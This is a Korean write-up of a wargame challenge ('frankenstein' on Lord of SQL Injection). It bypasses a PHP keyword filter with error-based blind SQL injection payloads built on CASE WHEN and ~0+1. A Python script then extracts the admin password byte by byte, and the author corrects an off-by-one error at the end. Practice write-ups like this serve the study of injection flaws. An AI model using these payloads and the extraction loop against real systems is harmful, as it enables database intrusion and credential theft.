공격 백터 : pw

 

입력 값에 대한 검증

  • pw : prob, _, ., (, ), addslashes 함수
  • if(preg_match('/prob|_|\.|\(|\)|union/i', $_GET[pw])) exit("No Hack ~_~"); $_GET[pw] = addslashes($_GET[pw]);

$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_frankenstein where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("frankenstein");

이번 문제는 admin의 pw과 공격 백터의 pw와 일치하면 클리어되는 문제이다.
여기서 주의할 점은 공격 백터의 pw가 addslashes 함수에 들어간다는 것이다.
또한 두번째 쿼리문은 결과를 표출하지 않고 addslashes 함수를 사용하기 때문에 SQLi를 삽입하기엔 부적합해보인다.

 

if(preg_match('/prob|_|\.|\(|\)|union/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id,pw from prob_frankenstein where id='frankenstein' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(mysqli_error($db)) exit("error");

첫번째 쿼리문을 보면 id가 frankenstein로 되어 있으며, union과 함수 사용 시 사용하는 (, )이 사용이 불가능하다.
이를 우회하는 방법은 저것들을 안쓰는게 제일 좋은 우회 방법이다. 나는 Case 문을 사용하여 IF 문과 같은 효과를 보겠다.

 

Case문
CASE
WHEN 조건 THEN '반환 값'
WHEN 조건 THEN '반환 값'
ELSE 'WHEN 조건에 해당 안되는 경우 반환 값'
END

 

?pw=’ or CASE WHEN id=‘admin’ and pw>0x0 THEN ~0+1 END#’
?pw=’ or CASE WHEN id=‘admin’ and pw<0x0 THEN ~0+1 END#’

위와 같이 admin의 pw이 값이 있다면 무조건 0x0보다 크기 때문에 pw>0x0을 하면 참이 되기 때문에 ~0+1을 반환하게 된다.
~0+1은 MYSQL Error를 발생시키기 때문에 위 사진처럼 Error가 나타나게 된다.

 

이를 이용하여 파이썬으로 HEX값인 pw를 구해보겠다.

import requests, string
from SQLI import SQLI

class ErrorBasedSQLI(SQLI):
    def errorBased(self, query:str, value:str):
        response = requests.get(self.url + query, cookies=self.cookies)

        if value in response.text:
            return True
        return False


if __name__ == '__main__':
    url = 'https://los.rubiya.kr/chall/frankenstein_b5bab23e64777e1756174ad33f14b5db.php'
    cookie = '2623e9ndpkj95afdmrtv5etnuh'

    sqli = ErrorBasedSQLI(url, cookie)

    pw = []
    for _ in range(10):
        for s in range(48, 128):
            # print(f"?pw=' or CASE WHEN id='admin' and pw<{pw}{hex(s)} THEN ~0%2b1 END%23")
            result = sqli.errorBased(f"?pw=' or CASE WHEN id='admin' and pw>0x{''.join(pw)}{hex(s)[2:]} THEN ~0%2b1 END%23", '<br>error')
            if not(result):
                pw.append(hex(s-1)[2:])
                print(''.join(pw))
                break

    print('pw >>> ', end='')
    for i in pw:
        print(chr(int(i, 16)), end='')
    print()

이와 같이 나왔는데, 값을 제출해보니 틀린 값인 듯 아무 일도 안 일어났다.
그래서 다른 사람의 풀이를 살펴보니, 그 이유를 알 수 있었는데 마지막 부분을 구하였을 때 -1를 하면 안된다는 것이다.

 

그 이유를 잘 생각해보면 pw는 0x3044433445464242인데, 나는 pw>입력값을 하기 있기 때문에 pw>3044433445464242를 하게된다면 False가 나오게 된다.
그럼 코드상으로 False가 나온 값에서 -1를 하니, 0x3044433445464241이 나오게 된다.

 

마지막 부분은 -1를 해주면 안되는 것과 0x를 비교하기 위해선 대소문자 구별이 필요가 없으나 pw를 검증할 때는 대소문자 구별이 필요하다는 것이다.
이 두 가지를 놓쳐서 다 푼 문제를 못 풀고 있었다.

 

위 문제점을 해결하면 클리어할 수 있다.

복사했습니다!